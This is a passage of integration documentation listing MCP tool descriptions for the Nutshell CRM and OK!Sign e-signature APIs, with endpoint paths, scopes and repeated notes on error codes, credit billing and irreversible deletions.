/leads/customfields/attributes GET /api/v1/nutshell/leads/customfields/attributes. Scopes: api. nutshell_get_leads_list (read) — Get a list of all leads and associated data in your Nutshell Instance, in a list item format. List items have additional fields attached to them for filtering purposes. via GET /leads/list GET /api/v1/nutshell/leads/list. Scopes: api. nutshell_get_leads_list_fields (read) — Get the list of fields that can possibly be associated with leads, along with whether they are valid for filtering sorting. via GET /leads/list/fields GET /api/v1/nutshell/leads/list/fields. Scopes: api. nutshell_get_leads_report (read) — Get reports for a lead via GET /leads/report GET /api/v1/nutshell/leads/report. Scopes: api. nutshell_get_markets (read) — Get a list of markets via GET /markets GET /api/v1/nutshell/markets. Scopes: api. nutshell_get_markets_by_id (read) — Get a market by the ID via GET /markets/{id} GET /api/v1/nutshell/markets/{id}. Scopes: api. nutshell_get_notes (read) — Get a list of notes. via GET /notes GET /api/v1/nutshell/notes. Scopes: api. nutshell_get_notes_by_id (read) — Get a single note by the ID provided. via GET /notes/{id} GET /api/v1/nutshell/notes/{id}. Scopes: api. nutshell_get_outcomes (read) — Get a list of lead outcomes via GET /outcomes GET /api/v1/nutshell/outcomes. Scopes: api. nutshell_get_outcomes_by_id (read) — Get a lead outcome by ID via GET /outcomes/{id} GET /api/v1/nutshell/outcomes/{id}. Scopes: api. nutshell_get_productcategories (read) — List all product categories via GET /productcategories GET /api/v1/nutshell/productcategories. Scopes: api. nutshell_get_productcategories_by_id (read) — Get a product category via GET /productcategories/{id} GET /api/v1/nutshell/productcategories/{id}. Scopes: api. nutshell_get_productmaps (read) — A product map is an instance of a product attached to a lead, including quantity and custom pricing information. This endpoint returns all mappings between products and leads. via GET /productmaps GET /api/v1/nutshell/productmaps. Scopes: api. nutshell_get_productmaps_by_id (read) — A product map is an instance of a product attached to a lead, including quantity and custom pricing information. This endpoint returns a single mapping between a particular product and lead. via GET /productmaps/{id} GET /api/v1/nutshell/productmaps/{id}. Scopes: api. nutshell_get_products (read) — Without q, returns all active products and applies sort. With q, trims the value and performs a case-insensitive name or SKU search limited to 200 products; sort is not applied to search results. An empty q value returns an empty products array. via GET /products GET /api/v1/nutshell/products. Scopes: api. nutshell_get_products_by_id (read) — Get a product via GET /products/{id} GET /api/v1/nutshell/products/{id}. Scopes: api. nutshell_get_quotes (read) — Get a list of quotes via GET /quotes GET /api/v1/nutshell/quotes. Scopes: api. nutshell_get_quotes_by_id (read) — Get a single quote by the ID provided. via GET /quotes/{id} GET /api/v1/nutshell/quotes/{id}. Scopes: api. nutshell_get_sources (read) — Returns a list of all possible sources for leads in your Nutshell instance. via GET /sources GET /api/v1/nutshell/sources. Scopes: api. nutshell_get_stages (read) — Returns active stages from active pipelines that are visible to the authenticated user. OAuth access tokens require the read scope. When pipeline visibility is enabled, stages in restricted pipelines are omitted unless the authenticated user is an administrator or the pipeline is shared directly or through a team. via GET /stages GET /api/v1/nutshell/stages. Scopes: api. nutshell_get_stagesets (read) — Returns every pipeline in the authenticated user's Nutshell instance, including archived pipelines. Pipelines are also known as stagesets. OAuth access tokens require the read scope. When pipeline visibility is enabled, restricted pipelines are omitted unless the authenticated user is an administrator or the pipeline is shared directly or through a team. via GET /stagesets GET /api/v1/nutshell/stagesets. Scopes: api. nutshell_get_stagesets_by_id_export (read) — Get a CSV export of lead movements through a pipeline via GET /stagesets/{id}/export GET /api/v1/nutshell/stagesets/{id}/export. Scopes: api. nutshell_get_tags (read) — Get a list of all tags in a Nutshell instance. via GET /tags GET /api/v1/nutshell/tags. Scopes: api. nutshell_get_tasks (read) — Get a list of tasks via GET /tasks GET /api/v1/nutshell/tasks. Scopes: api. nutshell_get_tasks_by_id (read) — Get a single task by the ID provided. via GET /tasks/{id} GET /api/v1/nutshell/tasks/{id}. Scopes: api. nutshell_get_territories (read) — Get a list of territories via GET /territories GET /api/v1/nutshell/territories. Scopes: api. nutshell_get_todos (read) — Returns the authenticated user's to-dos, or another viewable user's to-dos when filter[assignee] is provided. OAuth access tokens require the read scope. Date windows and facets use the assignee's Nutshell timezone. via GET /todos GET /api/v1/nutshell/todos. Scopes: api. nutshell_get_users (read) — Get a list of users via GET /users GET /api/v1/nutshell/users. Scopes: api. nutshell_get_users_by_id (read) — Get a user via GET /users/{id} GET /api/v1/nutshell/users/{id}. Scopes: api. nutshell_patch_accounts_by_id (write) — Update an account by id. op is the operation to be performed, and path specifies what resource to patch. Use the path accounts/0/fieldName to update fields that are user-entered for this resource, i.e. name, description, etc. Use the path accounts/0/links/fieldName to update this account's links to other resources within Nutshell, i.e. contacts, owner, territory, etc. When performing an 'add', include a /- at the end of the path, i.e. accounts/0/links/fieldName/- . When using the remove operation, include the id at the end of the path (i.e. accounts/0/links/contacts/1-contacts) - no need to include a value. Value can alternatively be a list of objects, which can be used with the replace operation and the path accounts/0/urls, accounts/0/addresses, accounts/0/phones, or accounts/0/phones to replace the existing list with a list of new objects. Visit <a href='https://developers.nutshell.com/reference/get_accounts-id'>the account docs</a> for more detail on the structure of these objects. via PATCH /accounts/{id} PATCH /api/v1/nutshell/accounts/{id}. Scopes: api. nutshell_patch_competitormaps_by_id (write) — Update a lead-competitor relationship via PATCH /competitormaps/{id} PATCH /api/v1/nutshell/competitormaps/{id}. Scopes: api. nutshell_patch_contacts_by_id (write) — Update a contact by id. op is the operation to be performed, and path specifies what resource to patch. Use the path contacts/0/fieldName to update fields that are user-entered for this resource, i.e. name, description, etc. Use the path contacts/0/links/fieldName to update this contact's links to other resources within Nutshell, i.e. accounts, owner, territory, emAudiences, etc. When performing an 'add', include a /- at the end of the path, i.e. contacts/0/links/fieldName/- . When using the remove operation, include the id at the end of the path (i.e. contacts/0/links/accounts/1-accounts) - no need to include a value. Value can alternatively be a list of objects, which can be used with the replace operation and the path contacts/0/urls, contacts/0/addresses, contacts/0/phones, contacts/0/phones, contacts/0/links/emAudiences, or contacts/0/links/accounts to replace the existing list with a list of new objects. For certain replace operations like accounts and emAudiences, provide an array of strings as the value. Visit <a href='https://developers.nutshell.com/reference/get_contacts-id-3'>the contact docs</a> for more detail on the structure of these objects. via PATCH /contacts/{id} PATCH /api/v1/nutshell/contacts/{id}. Scopes: api. nutshell_patch_leads_by_id (write) — Update a lead by id. op is the operation to be performed, and path specifies what resource to patch. Use the path leads/0/fieldName to update fields that are user-entered for this resource, i.e. name, description, etc. Use the path leads/0/links/fieldName to update this lead's links to other resources within Nutshell, i.e. contacts, owner, tags, etc. When performing an 'add', include a /- at the end of the path, i.e. leads/0/links/fieldName/- . When using the remove operation, include the id at the end of the path (i.e. leads/0/links/contacts/1-contacts) - no need to include a value. To update the value of the lead with a replace operation, use the path leads/0/manualValue with a value of the amount as a string, or leads/0/valueToProductMode without a value to set the lead's value back to the sum of products. via PATCH /leads/{id} PATCH /api/v1/nutshell/leads/{id}. Scopes: api. nutshell_patch_productmaps_by_id (write) — A product map is an instance of a product attached to a lead, including quantity and custom pricing information which this endpoint allows you to modify. via PATCH /productmaps/{id} PATCH /api/v1/nutshell/productmaps/{id}. Scopes: api. nutshell_patch_tasks_by_id (write) — Update a task by id. op is the operation to be performed, and path specifies what resource to patch. Use the path tasks/0/links/assignee to update the assigned user, using their ID. via PATCH /tasks/{id} PATCH /api/v1/nutshell/tasks/{id}. Scopes: api. nutshell_post_accounts (write) — Create a new account. Accounts are companies or organizations that you do business with, and are referred to as 'Companies' in the Nutshell UI. via POST /accounts POST /api/v1/nutshell/accounts. Scopes: api. nutshell_post_accounts_by_id_undelete (write) — Undelete an account by id. via POST /accounts/{id}/undelete POST /api/v1/nutshell/accounts/{id}/undelete. Scopes: api. nutshell_post_accounts_customfield (write) — Creates a custom field to use for accounts. via POST /accounts/customfield POST /api/v1/nutshell/accounts/customfield. Scopes: api. nutshell_post_activities (write) — Create an activity via POST /activities POST /api/v1/nutshell/activities. Scopes: api. nutshell_post_audiences (write) — Create an audience. Audiences are used to organize leads, contacts, and accounts into groups for marketing. via POST /audiences POST /api/v1/nutshell/audiences. Scopes: api. nutshell_post_contacts (write) — Create a new contact, also known as a person, in Nutshell. Only one contact may be created at a time. via POST /contacts POST /api/v1/nutshell/contacts. Scopes: api. nutshell_post_contacts_by_id_undelete (write) — Undelete a contact via POST /contacts/{id}/undelete POST /api/v1/nutshell/contacts/{id}/undelete. Scopes: api. nutshell_post_contacts_customfield (write) — Creates a custom field to use for contacts. via POST /contacts/customfield POST /api/v1/nutshell/contacts/customfield. Scopes: api. nutshell_post_invoices_by_id_status (write) — Updates an invoice to a native Nutshell status (READY, SENT, REVOKED, ACCEPTED, ARCHIVED). ACCEPTED marks the invoice as paid. Optional comment is stored as payment/completion metadata. via POST /invoices/{id}/status POST /api/v1/nutshell/invoices/{id}/status. Scopes: api. nutshell_post_leads (write) — Create a new lead. Only one lead can be created at a time. via POST /leads POST /api/v1/nutshell/leads. Scopes: api. nutshell_post_leads_by_id_installments (write) — Replaces the lead's installment schedule. The request body is a JSON array of installment objects (`id`, `dueTime`, `description`, `value`, `isFailed`). `dueTime` is an ISO 8601 string. Requires lead installments on the account plan. via POST /leads/{id}/installments POST /api/v1/nutshell/leads/{id}/installments. Scopes: api. nutshell_post_leads_by_id_reopen (write) — Reopen a lead that was previously closed. via POST /leads/{id}/reopen POST /api/v1/nutshell/leads/{id}/reopen. Scopes: api. nutshell_post_leads_by_id_stageset (write) — Pipelines are also known as stagesets. via POST /leads/{id}/stageset POST /api/v1/nutshell/leads/{id}/stageset. Scopes: api. nutshell_post_leads_by_id_status (write) — Update the status of a lead, for example, close a lead as won or lost. Also allows for setting the outcome of the lead, and competitor and product maps. via POST /leads/{id}/status POST /api/v1/nutshell/leads/{id}/status. Scopes: api. nutshell_post_leads_by_id_undelete (write) — Undelete a lead via POST /leads/{id}/undelete POST /api/v1/nutshell/leads/{id}/undelete. Scopes: api. nutshell_post_leads_by_id_watch (write) — Watch/unwatch a lead to receive (or stop receiving) notifications about it. The user this change is made for is the authenticated user when making the api call. via POST /leads/{id}/watch POST /api/v1/nutshell/leads/{id}/watch. Scopes: api. nutshell_post_leads_customfield (write) — Creates a custom field to use for leads. via POST /leads/customfield POST /api/v1/nutshell/leads/customfield. Scopes: api. nutshell_post_notes (write) — Create a note via POST /notes POST /api/v1/nutshell/notes. Scopes: api. nutshell_post_notes_by_id_undelete (write) — Undelete a note by the ID provided. via POST /notes/{id}/undelete POST /api/v1/nutshell/notes/{id}/undelete. Scopes: api. nutshell_post_productcategories (write) — Create a new product category. Product categories are used to organize products into groups. via POST /productcategories POST /api/v1/nutshell/productcategories. Scopes: api. nutshell_post_products_by_id_undelete (write) — Undelete a product via POST /products/{id}/undelete POST /api/v1/nutshell/products/{id}/undelete. Scopes: api. nutshell_post_quotes_by_id_invoice (write) — Creates a new invoice by duplicating the quote (same as in-app create invoice from quote). Line items, recipient, and most document fields are copied from the quote; invoice template defaults apply for payment/body/footer fields. No request body is required. via POST /quotes/{id}/invoice POST /api/v1/nutshell/quotes/{id}/invoice. Scopes: api. nutshell_post_quotes_by_id_status (write) — Updates a quote to a native Nutshell status (READY, SENT, REVOKED, ACCEPTED, ARCHIVED). Odoo-specific fulfillment states should be stored on the lead via custom fields. via POST /quotes/{id}/status POST /api/v1/nutshell/quotes/{id}/status. Scopes: api. nutshell_post_sources (write) — Create a new source for leads in your Nutshell instance. Sources are used to track how leads arrive at your website and learn about your business. via POST /sources POST /api/v1/nutshell/sources. Scopes: api. nutshell_post_sources_by_id_undelete (write) — Undelete a source by id. via POST /sources/{id}/undelete POST /api/v1/nutshell/sources/{id}/undelete. Scopes: api. nutshell_post_tags (write) — Create a tag. Tags are used to organize leads, contacts, and accounts into groups. via POST /tags POST /api/v1/nutshell/tags. Scopes: api. nutshell_post_tags_by_id_undelete (write) — Undelete a tag by id. Tags can be restored from the trash within 30 days of deletion. via POST /tags/{id}/undelete POST /api/v1/nutshell/tags/{id}/undelete. Scopes: api. nutshell_post_tasks (write) — Create a new task via POST /tasks POST /api/v1/nutshell/tasks. Scopes: api. nutshell_put_activities_by_id (write) — Update an activity via PUT /activities/{id} PUT /api/v1/nutshell/activities/{id}. Scopes: api. ================================================================================ ## OK!Sign URL: https://www.agenticfabriq.com/integrations/oksign Section: Integrated Tools OK!Sign — 29 MCP tools Provider key: oksign. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. oksign_delete_briefcase_remove (write, destructive) — Remove a briefcase via DELETE /v1/briefcase/remove. Remove a briefcase and the bundling of its documents, so its signing session can no longer be used. IRREVERSIBLE, and there is no endpoint that restores it. Takes the BRIEFCASE's docid, not a bundled document's. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. DELETE /api/v1/oksign/v1/briefcase/remove. Scopes: api. oksign_delete_document_remove (write, destructive) — Remove a document via DELETE /v1/document/remove. Permanently remove a document from the OK!Sign platform and free its storage. IRREVERSIBLE: OK!Sign publishes no endpoint that restores a removed document and removes nothing automatically, so the account grows until something calls this. REMOVING A DOCUMENT ALSO REMOVES ITS WEBHOOK EVENTS from the platform, so an error you have not read with 'List webhook notifications' is gone with it. Any signing URL already sent to a signer stops working. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. DELETE /api/v1/oksign/v1/document/remove. Scopes: api. oksign_delete_editorexpress_remove (write, destructive) — Remove an EditorExpress session via DELETE /v1/editorexpress/remove. Invalidate an EditorExpress session so its editor URL stops working. IRREVERSIBLE. Any field layout already saved from the editor stays on the document; only the session is destroyed. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. DELETE /api/v1/oksign/v1/editorexpress/remove. Scopes: api. oksign_delete_emailattachment_remove (write, destructive) — Remove an email attachment via DELETE /v1/emailattachment/remove. Remove a previously uploaded file from the account's email attachments. THIS ACTION CANNOT CURRENTLY SUCCEED, AND THE FAULT IS OK!SIGN'S. Measured 2026-09-24: called as documented (the x-oksign-attachid header, empty body) the endpoint answers "Missing parameter 'json'." -- a parameter its documentation never mentions. Supply any `json` parameter and it then answers "Invalid format x-oksign-attachid. Found: 'null'" EVEN THOUGH THE HEADER IS SET ON THE SAME REQUEST, so the header is not read at all. Six argument shapes were tried and every one answered 'null': the attachid in the header alone, header plus ?json=<id>, and ?json= carrying {attachid}, [{attachid}] and {id}, with a JSON request body as the sixth. The route itself is NOT the problem and is not missing -- a mistyped noun or verb (/v1/emailattachmentz/remove, /v1/emailattachment/removez) answers "Invalid {noun} and/or {verb}" while the real spelling reaches this handler, so it exists and is broken. It is also the only route in the API that skips OK!Sign's method check: a GET and a PUT reach the same handler a DELETE does. There is no combination that works and no workaround from this side. It is shipped rather than withheld so that the provider's own message reaches you if Betrust fixes it; until then, remove email attachments from the OK!Sign account interface. Reported to Matthew 2026-09-24. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. DELETE /api/v1/oksign/v1/emailattachment/remove. Scopes: api. oksign_delete_signexpress_remove (write, destructive) — Remove a SignExpress session via DELETE /v1/signexpress/remove. Invalidate a SignExpress session so its signing URL stops working. The way to withdraw a link that was sent to the wrong person. IRREVERSIBLE -- the session cannot be reinstated, though a new one can be created over the same documents. The documents themselves are untouched. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. DELETE /api/v1/oksign/v1/signexpress/remove. Scopes: api. oksign_get_audittrail_retrieve (read) — Get a document's audit trail via GET /v1/audittrail/retrieve. Retrieve the signed audit trail of a document: every operation performed on it, when, from which IP, with the document's SHA-256 over a stated byte range, plus an RSA signature over the trail itself so it can be shown to have not been edited. ALWAYS RETURNED AS JSON, AND THAT TAKES A PIN. OK!Sign's DEFAULT for this route is a PDF -- measured 2026-09-24, a call with no format header answered application/pdf, 137 KB -- and a PDF is unbounded bytes, which never enter a tool result. The header that selects JSON is `x-oksign-format`, which the connector pins; `accept` DOES NOT WORK and is not the channel, measured in both directions on 2026-09-24: `accept: application/json` still answered application/pdf, and `x-oksign-format: json` answered application/json whatever `accept` said. Neither header is an argument, so a caller cannot reach the PDF form. The JSON carries the same evidence, including the RSA `reasonSignature`. Download the PDF from the OK!Sign account if a counterparty needs that exact artefact. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/audittrail/retrieve. Scopes: api. oksign_get_briefcase_retrieve (read) — Get a briefcase via GET /v1/briefcase/retrieve. Read a briefcase back: the documents in it with their sizes and signature counts, its creation date, its source and its signers. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/briefcase/retrieve. Scopes: api. oksign_get_contacts_retrieve (read) — List contacts via GET /v1/contacts/retrieve. List the account's whole address book: each contact's name, email, mobile, group and acting-as role. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/contacts/retrieve. Scopes: api. oksign_get_credits_retrieve (read) — Get the credit and storage balance via GET /v1/credits/retrieve. Report the account's remaining signing credits, the date they expire, the subscription type, the storage cap and how much of it is used. THE HONEST PLACE TO CHECK BEFORE A SIGNING CAMPAIGN, because nothing else reports it: no action in this integration consumes a credit, so a balance read here changes only when a human signs. OK!Sign lets the balance go NEGATIVE rather than block service -- documents can still be uploaded and signed on a negative balance -- so a positive number here is not a guarantee and a failure elsewhere is rarely about credits. `quantity` is credits, not documents: a single itsme signature costs 3. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/credits/retrieve. Scopes: api. oksign_get_document_exists (read) — Check a document exists via GET /v1/document/exists. Answer whether a docid is still present on the platform, and if it is, its filename and whether it is a template. The cheapest way to tell a removed document from a mistyped docid. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/document/exists. Scopes: api. oksign_get_documents_active (read) — List active documents via GET /v1/documents/active. List every document in the account that is still awaiting signature, with each one's docid, filename, creator, creation date, how many signatures it needs and how many it has. This is the action that turns a filename into the docid every other document action needs. RATE LIMITED TO ONE REQUEST EVERY THREE MINUTES by OK!Sign, which answers 429 on the second. It is a polling endpoint by design; poll a callback URL instead of this action if you need to know sooner. The `status` integer on each row is OK!Sign's own document state (1 active, 12 reusable, 14 template) and is not the envelope status. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/documents/active. Scopes: api. oksign_get_documents_signed (read) — List signed documents via GET /v1/documents/signed. List the documents signed inside a time window, newest state first, with the signed copy's docid and the credits each signer consumed. This is the polling alternative to receiving the callback URL when a document is completed. BOTH TIMESTAMPS ARE REQUIRED and OK!Sign answers 'Date cannot be null.' without them. RATE LIMITED TO ONE REQUEST EVERY THREE MINUTES, 429 on the second. The `creditsinfo` on each row is where a completed signature's credit charge appears -- it is the only place this integration can observe credit consumption, because no API call consumes one. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/documents/signed. Scopes: api. oksign_get_editorexpress_retrieve (read) — Get an EditorExpress session via GET /v1/editorexpress/retrieve. Read an EditorExpress session back by its token: its documents, its options, its return URL and when it expires. THE REPLY NAMES YOUR ORGANIZATIONAL TOKEN in `orgtoken` -- see 'Get a SignExpress session' for why that is returned rather than withheld. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/editorexpress/retrieve. Scopes: api. oksign_get_email_templates_retrieve (read) — List email templates via GET /v1/email-templates/retrieve. List the account's email templates with their immutable ids, so a notification can name one instead of carrying its own body. A template id is assigned once and never changes, so it is safe to store. Templates are created in the OK!Sign interface; there is no API that creates one. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/email-templates/retrieve. Scopes: api. oksign_get_formdesc_retrieve (read) — Get a form descriptor via GET /v1/formdesc/retrieve. Read back the form descriptor currently on a document, including any change made in the Document Editor after it was uploaded. The way to detect that a human moved or added a field. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). Agentic Fabriq reads the body's "status" field and answers with a real 4xx instead -- 401 for a credential problem, 402 for exhausted credits, 404 for an unknown route, 405 for a wrong method, 400 otherwise -- so the status you see here is ours, derived from the body, and never the provider's. CREDITS ARE BILLED WHEN A SIGNER SIGNS, NOT WHEN THIS ACTION RUNS: measured 2026-09-24 across every operation in this integration, the account balance never moved. The charge lands per signer at signature time and depends on the method chosen there (itsme is 3 credits), so calling these actions is free and only a completed signature is not. GET /api/v1/oksign/v1/formdesc/retrieve. Scopes: api. oksign_get_linkedlist_retrieve (read) — Link a source document to its signed copy via GET /v1/linkedlist/retrieve. Given the docid of either a source document or its signed copy, return the other one. Signing produces a NEW docid, so this is how a source document is followed to the signed result without having kept the callback. OK!Sign keeps this link for about 18 months after signing and then drops it. An empty object means either that the document has not been signed, that it was removed from the account, or that the link has aged out -- the reply does not distinguish them. EVERY OK!SIGN FAILURE IS HTTP 200 AT THE PROVIDER: the reference states "The return code is always 200", and a missing credential, a bad credential, an unknown route, a wrong method and a rejected argument all answer 200 with a FAILED body (measured 2026-09-24). 